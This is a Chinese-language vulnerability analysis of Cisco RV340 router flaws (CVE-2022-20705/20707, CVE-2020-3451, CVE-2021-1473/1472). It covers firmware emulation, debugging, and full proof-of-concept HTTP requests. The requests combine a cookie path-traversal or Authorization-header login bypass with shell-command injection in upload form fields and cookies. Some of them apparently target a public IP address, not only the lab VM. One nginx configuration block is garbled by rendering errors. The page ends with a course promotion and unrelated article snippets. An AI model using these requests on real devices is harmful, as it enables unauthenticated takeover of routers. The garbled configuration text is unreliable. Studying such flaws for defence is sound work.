Cisco RV340命令执行漏洞(CVE-2022-20707)及关联历史漏洞分析

news2024/12/23 23:00:27

一、引言

本篇文章主要是对Cisco
RV340命令执行漏洞(CVE-2022-20707)进行的研究分析,尽管利用此漏洞需要身份验证,但可以通过CVE-2022-20705绕过现有的身份验证机制实现无条件的命令执行。历史相关的漏洞还包括:CVE-2020-3451、CVE-2021-1473、CVE-2021-1472,我们会逐一进行分析。

二、环境搭建

2.1 固件下载

可在Cisco官网下载到固件:https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.26?catid=268437899

2.2 固件解压

推荐使用7z-zip软件提取openwrt-comcerto2000-hgw-rootfs-
ubi_nand.img\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img\RV34X-v1.0.03.22-2021-06-14-02-33-28-AM\fw.gz\fw\openwrt-
comcerto2000-hgw-rootfs-ubi_nand.img
将得到的ubi格式img用binwalk进行解压,但这里有点小坑,binwalk会把软链接给重置为/dev/null。
笔者这里是通过修改binwalk代码的方式强行绕过了此逻辑:binwalk/modules/extractor.py

2.3 qemu系统模拟

修改Ubuntu
主机的网络配置,修改系统的网络接口配置文件/etc/network/interfaces。编辑/etc/qemu-
ifup
具体网络配置可以参考:
https://blog.csdn.net/QQ1084283172/article/details/69378333
重启一下虚拟机,因为我Ubuntu 主机的网卡是nat的,桥接就是桥接到nat网络里边去。下载对应的debian
qemu镜像https://people.debian.org/~aurel32/qemu/armhf/启动qemu虚拟机:

sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd
initrd.img-3.2.0-4-vexpress -drive
if=sd,file=debian_wheezy_armhf_standard.qcow2 -append “root=/dev/mmcblk0p2
console=tty0” -net nic -net tap -nographic

将解出来的固件传到qemu虚拟机:

scp -r 1.tar root@192.168.250.173:/root/

解压并切入chroot环境:

tar zxvf 1.tar``chmod -R 777 rootfs``cd rootfs``sudo mount --bind /proc proc``sudo mount --bind /dev dev``chroot . /bin/sh

逐步启动ngix服务:

/etc/init.d/boot boot`` ``generate_default_cert`` ``/etc/init.d/confd start`` ``/etc/init.d/nginx start``

尝试访问web页面:至此,模拟环境搭建完成,可以开始进行漏洞测试。

2.4 调试技巧

因为cgi是以uwsgi子进程的形式启动来处理请求,一次请求一个进程,使用gdbserver并不好attach。故直接修改upload.cgi二进制文件,在main函数入口位置修改汇编为自己跳自己,弄个死循环:这样进程就会一直卡住,等到gdbserver
attach上,再通过修改内存方式,修改代码为原程序逻辑:

三、CVE-2022-20705

此漏洞是因nginx配置不当导致的授权绕过漏洞,是命令执行漏洞(CVE-2022-20707)利用的前置条件。命令执行漏洞需要用户能访问upload页面,这本是一个需要鉴权的页面。查看nginx配置文件以及配置引用关系,定位到/upload路径的访问是由/var/nginx/conf.d/web.upload.conf控制

location / form - file - upload {include uwsgi_params;proxy_buffering

off;uwsgi_modifier1 9;uwsgi_pass 127.0.0.1 : 9003;uwsgi_read_timeout
3600;uwsgi_send_timeout 3600;}location / upload {set $deny 1;if ( - f / tmp
/ websession / token / $cookie_sessionid) {set KaTeX parse error: Expected 'EOF', got '}' at position 10: deny "0";}̲if (deny = “1”)
{return 403;}upload_pass / form - file - upload;upload_store / tmp /
upload;upload_store_access user: rw group: rw all: rw;upload_set_form_field
u p l o a d f i e l d n a m e . n a m e " upload_field_name.name " uploadfieldname.name"upload_file_name";upload_set_form_field
u p l o a d f i e l d n a m e . c o n t e n t t y p e " upload_field_name.content_type " uploadfieldname.contenttype"upload_content_type";upload_set_form_field
u p l o a d f i e l d n a m e . p a t h " upload_field_name.path " uploadfieldname.path"upload_tmp_path";upload_aggregate_form_field
u p l o a d f i e l d n a m e . m d 5 " " upload_field_name.md5"" uploadfieldname.md5""upload_file_md5”;upload_aggregate_form_field
u p l o a d f i e l d n a m e . s i z e " " upload_field_name.size"" uploadfieldname.size""upload_file_size”;upload_pass_form_field
“^.*$”;upload_cleanup 400 404 499 500 - 505;upload_resumable on;

可以看到,nginx会通过判断/tmp/websession/token/ c o o k i e s e s s i o n i d 文件是否存在来进行访问控制。 cookie_sessionid文件是否存在来进行访问控制。 cookiesessionid文件是否存在来进行访问控制。cookie_sessionid可以通过我们传递的cookie来控制,我们可以将$cookie_sessionid的值设置为一个必定存在的文件,如…/…/…/…/…/etc/passwd,即可绕过该判断机制。但是除了nginx的配置外,upload.cgi程序内部还有对传入cookie的格式校验,直接传入…/…/…/…/…/etc/passwd显然是过不了代码侧的格式校验的:

else if ( !strcmp(v5, "/upload")&& HTTP_COOKIE&& strlen(HTTP_COOKIE) -

16 <= 0x40&& !match_regex(“1*$”, HTTP_COOKIE) ){v24 = v34;v25
= v35;v26 = (int)v32;v27 = StrBufToStr(v41);sub_12684(HTTP_COOKIE, v24, v25,
v26, v27, v36, v37, v38);}

那么有没有什么办法既能绕过nginx的鉴权,同时又能满足代码侧的格式校验呢?问题的关键就在于程序后端获取cookie的逻辑。这里代码通过for循环获取cookie的值,遇到分号就隔断了:

if ( HTTP_COOKIE )
{
StrBufSetStr(v40, HTTP_COOKIE);
HTTP_COOKIE = 0;
v13 = (char *)StrBufToStr(v40);
for ( i = strtok_r(v13, “;”, &save_ptr); i; i = strtok_r(0, “;”, &save_ptr)
)
{
sessionid = strstr(i, “sessionid=”);
if ( sessionid )
HTTP_COOKIE = sessionid + ‘\n’;
}
}

}

换言之我们可以在cookie里传入两个sessionid,前一个用来绕过nginx的鉴权机制,后一个用来匹配upload.cgi的校验正则,代码会取最后一个sessionid作为传入的参数值:

Cookie: sessionid=…/…/…/etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;


如此便可成功绕过身份验证,进入upload.cgi的程序逻辑。

四、CVE-2022-20707

在通过CVE-2022-20705绕过登录限制后,upload.cgi本身还存在一处命令执行漏洞。

Cookie: sessionid=…/…/…/etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;

这里存在一个非常明显的命令拼接,upload.cgi会将请求提交过来的参数处理成json后被拼接到命令里,那么我们在参数中使用’;{CMD};'即可成功执行命令。upload.cgi
可以接收的参数包括:

jsonutil_get_string(dword_2324C, &v31, ““file.path””, -1);
jsonutil_get_string(dword_2324C, &haystack, ““filename””, -1);
jsonutil_get_string(dword_2324C, &v32, ““pathparam””, -1);
jsonutil_get_string(dword_2324C, &v33, ““fileparam””, -1);
jsonutil_get_string(dword_2324C, &v34, ““destination””, -1);
jsonutil_get_string(dword_2324C, &v35, ““option””, -1);
jsonutil_get_string(dword_2324C, &v36, ““cert_name””, -1);
jsonutil_get_string(dword_2324C, &v37, ““cert_type””, -1);
jsonutil_get_string(dword_2324C, &v38, ““password””, -1);

该cgi使用nginx文件上传模块获取参数,有些参数是由该模块生成。我们尽量选一些不影响程序正常逻辑的参数进行拼接,比如destination和option
在拼接后的命令执行字符串如下:
可以看到命令已经执行:结合CVE-2022-20705的权限绕过,最终poc为:

POST /upload HTTP/1.1Host: 192.168.250.173Content-Length: 729Accept: application/json, text/plain, */*optional-header: header-valueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwXOrigin: http://192.168.250.173Referer: http://192.168.250.173/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7Cookie: sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTI3LjAuMC4xLzEx;Connection: close------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="sessionid"EU6DJKEIWO------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="pathparam"Firmware------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="fileparam"file001------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="destination"x';ls>/tmp/download/1.xml;'------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="option"x------WebKitFormBoundaryz6gIo5kcTkAlkCwXContent-Disposition: form-data; name="file"; filename="1.img"Content-Type: application/octet-stream1111------WebKitFormBoundaryz6gIo5kcTkAlkCwX--

五、CVE-2020-3451

1.0.03.18及之前版本中的nginx配置并没有对访问upload校验是否授权。选用1.0.00.33进行分析,该版本cgi内部也没有对该路径是否授权校验,对/upload请求的处理由jsonrpc.cgi
处理:cp
命令拼接时 v23由fileparam传入当在fileparam参数传入恶意拼接命令时,即可执行POC:

POST /upload HTTP/1.1Connection: closeAccept-Encoding: gzip, deflateAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Host: 186.86.126.88:443Content-Type: multipart/form-data; boundary=---------------------------42194771962641085195329489787Content-Length: 614-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="sessionid"FOOT-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="fileparam"file001;ls>/www/download/3.xml;-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="pathparam"Firmware-----------------------------42194771962641085195329489787Content-Disposition: form-data; name="file"; filename="1233.img"Content-Type: application/octet-stream111111111111111-----------------------------42194771962641085195329489787--

六、CVE-2021-1473 & CVE-2021-1472

1.0.03.20版本的web.upload.conf为

location /form-file-upload {include uwsgi_params;proxy_buffering off;uwsgi_modifier1 9;uwsgi_pass 127.0.0.1:9003;uwsgi_read_timeout 3600;uwsgi_send_timeout 3600;}location /upload {set $deny 1;      if ($http_authorization != "") {              set $deny "0";      }      if (-f /tmp/websession/token/$cookie_sessionid) {              set $deny "0";      }      if ($deny = "1") {              return 403;      }upload_pass /form-file-upload;upload_store /tmp/upload;upload_store_access user:rw group:rw all:rw;upload_set_form_field $upload_field_name.name "$upload_file_name";upload_set_form_field $upload_field_name.content_type "$upload_content_type";upload_set_form_field $upload_field_name.path "$upload_tmp_path";upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";upload_pass_form_field "^.*$";upload_cleanup 400 404 499 500-505;upload_resumable on;}

只要在头部增加 Authorization
即可令$http_authorization不为空,从而绕过身份校验。该版本的upload.cgi在进行curl命令拼接时,a1由cookie中的sessionid传入。最终poc为:

POST /upload HTTP/1.1Connection: closeAccept-Encoding: gzip, deflateAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Host: 186.86.126.88:443Cookie: sessionid='&ls>/tmp/download/2.xml&'; Authorization: YWRtaW46YWRtaW4=Content-Length: 570Content-Type: multipart/form-data; boundary=5097417339e2369be225700925a71758--5097417339e2369be225700925a71758Content-Disposition: form-data; name="sessionid"foobar--5097417339e2369be225700925a71758Content-Disposition: form-data; name="destination"x--5097417339e2369be225700925a71758Content-Disposition: form-data; name="fileparam"Configuration--5097417339e2369be225700925a71758Content-Disposition: form-data; name="pathparam"Configuration--5097417339e2369be225700925a71758Content-Disposition: form-data; name="file"; filename="1233.xml"Content-Type: text/xml1233333--5097417339e2369be225700925a71758--

七、 总结

下表为upload.cgi系列漏洞的总结:

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享


  1. A-Za-z0-9+=/ ↩︎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/185741.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

客户案例 | 低代码上的西门子,工欲善其事必先利其器

关键发现 用户痛点&#xff1a;项目管理过程涉及的系统繁多&#xff0c;系统间状态不透明&#xff0c;数据查询困难&#xff1b;人工流程虽属个别&#xff0c;但易拉低总体效率并有可能出错&#xff1b;数据报告自动化程度低。 解决方案&#xff1a;利用西门子低代码开发平台开…

玩转电脑|WIN10如何添加打印机扫描到电脑

win10和win7 添加打印机扫描到电脑操作不一样&#xff0c;换了win10电脑后还是按照win7的方法进行添加&#xff0c;会发现win10系统添加京瓷6525FMP打印机的扫描地址时会出现链接错误&#xff0c;无法添加。是因为win10需要设置SMB权限之后&#xff0c;即可添加地址簿。一、配置…

OAuth2.0-授权码模式

解决问题 OAuth2.0授权码模式主要解决了信任问题&#xff1a;一个第三方网站需要访问我们Github上的数据&#xff08;例如用户头像&#xff09;&#xff0c;那Github为什么要信任该网站&#xff1f;该对网站信任到什么程度&#xff1f; 如果彻底信任该网站&#xff0c;那么将…

LeetCode链表相关解法

LeetCode链表相关解法1.移除链表元素[203. 移除链表元素](https://leetcode.cn/problems/remove-linked-list-elements/)不设置头节点设置虚拟头节点2.设计链表[707. 设计链表](https://leetcode.cn/problems/design-linked-list/)3.反转链表[206. 反转链表](https://leetcode.…

使用Java8改造模板方法模式

目录 前言 以前的模板方法 Java 8 的函数式编程 Java 8以后的模板方法 总结 前言 我们在日常开发中&#xff0c;经常会遇到类似的场景&#xff1a;当要做一件事儿的时候&#xff0c;这件事儿的步骤是固定好的&#xff0c;但是每一个步骤的具体实现方式是不一定的。 通…

Hudi(14):Hudi集成Flink之核心参数设置

目录 0. 相关文章链接 1. 去重参数 2. 并发参数 2.1. 参数说明 2.2. 案例演示 3. 压缩参数 3.1. 参数说明 3.2. 案例演示 4. 文件大小 4.1. 参数说明 4.2. 案例演示 5. Hadoop 参数 Flink可配参数官网地址&#xff1a;All Configurations | Apache Hudi 0. 相关文…

Ubuntu 18.04 安装 nvidia 显卡驱动 离线安装 禁用 nouveau

Ubuntu 18.04 安装 nvidia 显卡驱动 离线安装1 系统2 查看显卡2.1 更新 pci.ids 文件3 安装显卡驱动 510.543.1 安装 nvtop4 禁用 nouveau5 安装 cuda 11.6.15.1 设置环境变量1 系统 # lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubu…

bpflock:基于eBPF实现的Linux设备安全审计工具

关于bpflock bpflock是一款基于 eBPF驱动的Linux设备安全审计工具&#xff0c;该工具使用了eBPF来帮助广大研究人员增强Linux设备的安全性。通过限制对各种Linux功能的访问&#xff0c;bpflock能够减少攻击面并阻止一些众所周知的攻击技术。 bpflock只允许类似容器管理器、sy…

区间一维dp史上最细总结(听了绝对会了,还不会的一定要进来)

目录 那年初夏&#xff08;三&#xff09; 引入 1.动态规划是什么&#xff1f; 2.什么是区间动态规划问题&#xff1f; 定义 性质 3.为何总是要问这种问题&#xff1f; 区间动态规划基本 思考 步骤&#xff08;划重点&#xff09; 例题精讲 1.最长上升子序列 题目描…

8个 数据库性能优化方案,你知道几个?(建议收藏)

毫不夸张的说咱们后端工程师&#xff0c;无论在哪家公司&#xff0c;呆在哪个团队&#xff0c;做哪个系统&#xff0c;遇到的第一个让人头疼的问题绝对是数据库性能问题。如果我们有一套成熟的方法论&#xff0c;能让大家快速、准确的去选择出合适的优化方案&#xff0c;我相信…

IB数学AA/AI应该如何选择?

IB数学怎么选课&#xff1f;AA&#xff0c;AI&#xff0c;SL&#xff0c;HL适合哪些学生&#xff1f;如何学习&#xff1f;IB数学&#xff1a;AA与AI&#xff0c;到底应该怎么选&#xff1f;IB数学AA有多难&#xff1f;要不要学数学AA HL&#xff1f;适合学生 IB数学AA AA HL偏…

【SpringCloud复习巩固】Feign

目录 一.HTTP客户端Feign 1.1RestTemplate方式调用存在的问题 1.2Feign的介绍 1.3Feign的使用 1.4自定义Feign的配置 1.4.1配置Feign日志的两种方式 1.5Feign性能优化 1.5.1Feign的性能优化-连接池配置 1.6Feign的最佳实践 一.HTTP客户端Feign 1.1RestTemplate方式调用…

自学软件测试,现在年薪30w,我骄傲了吗?

从小老一辈的人就经常说&#xff0c;小时候不好好读书&#xff0c;长大了只能去工地搬砖。我是从小都不爱读书的人&#xff0c;但在上学时期我一直有一种优越感&#xff0c;认为自己读书很有天赋&#xff0c;读书就是比别人厉害&#xff0c;但事实证明也确实如此&#xff0c;高…

[Android Studio]Android Studio Logcat日志样式设置

&#x1f7e7;&#x1f7e8;&#x1f7e9;&#x1f7e6;&#x1f7ea; Android Debug&#x1f7e7;&#x1f7e8;&#x1f7e9;&#x1f7e6;&#x1f7ea; Topic 发布安卓学习过程中遇到问题解决过程&#xff0c;希望我的解决方案可以对小伙伴们有帮助。 &#x1f4cb;笔记目…

c++IO流!!!开工了!!!

1.什么是IO流 流是若干个字节组成的字节序列&#xff0c;简单来说指的是就是数据从一端到另一端 键盘到程序——>标准输入流程序到屏幕——>标准输出流程序到文件——>文件流 流类体系&#xff1a;一些体系管理输入和输出的流的操作 输入流输出流文件流 ios类 istream…

【DockerCE】使用docker配置和运行HertzBeat

HertzBeat是一款免Agent的监控平台&#xff0c;拥有强大自定义监控能力&#xff0c;可以对应用服务、中间件、数据库、操作系统、云原生等进行监控&#xff0c;配置监控告警阈值&#xff0c;以及告警通知(邮件、微信、钉钉、飞书)。关于这个软件的介绍&#xff0c;我这里就不做…

困扰多年的Docker和iptables的恩怨,今天解决了

先介绍下我的使用环境&#xff1a; 操作系统&#xff1a;CentOS7.9 Docker版本&#xff1a;20.10.21 事情是这样的&#xff0c;安装完Docker的时候&#xff0c;容器镜像都跑起来了&#xff0c;端口也放行了&#xff0c;就是无法控制系统防火墙friewalld,查看firewalld状态报错 …

【微信小游戏开发笔记】第一节:微信小游戏Cocos开发环境配置

微信小游戏开发环境配置 微信小游戏开发前&#xff0c;首先要做一些准备&#xff1a; 注册 微信公众平台 账号&#xff0c;获取小游戏AppID(小程序ID)。安装 微信开发者工具&#xff0c;用于编译小游戏。安装 Visual Studio Code&#xff0c;用于编写游戏逻辑代码。安装并配置…

Linux命令:wget(下载文件)、ssh(登录及免密登录)、scp(远程文件传输)、sh(脚本)

wget 概述 wget是一个下载文件的工具&#xff0c;用在命令行下&#xff0c;下载一些软件或从远程服务器恢复备份到本地服务器 wget支持HTTP&#xff0c;HTTPS和FTP协议&#xff0c;可以使用HTTP代理 支持自动下载 wget可以在用户退出系统的之后在后台执行。意味着你可以登…

C语言选择排序和快速排序(图解过程)+思路清晰

选择排序和快排选择排序时间复杂度和空间复杂度快排&#xff08;三种方式&#xff09;1.hoar时间复杂度和空间复杂度优化--三数取中优化--小区间优化2.挖坑法3.双指针&#xff08;推荐&#xff09;选择排序 本篇文章的重点在快排。因为选择排序无论是在思想上面还是&#xff0…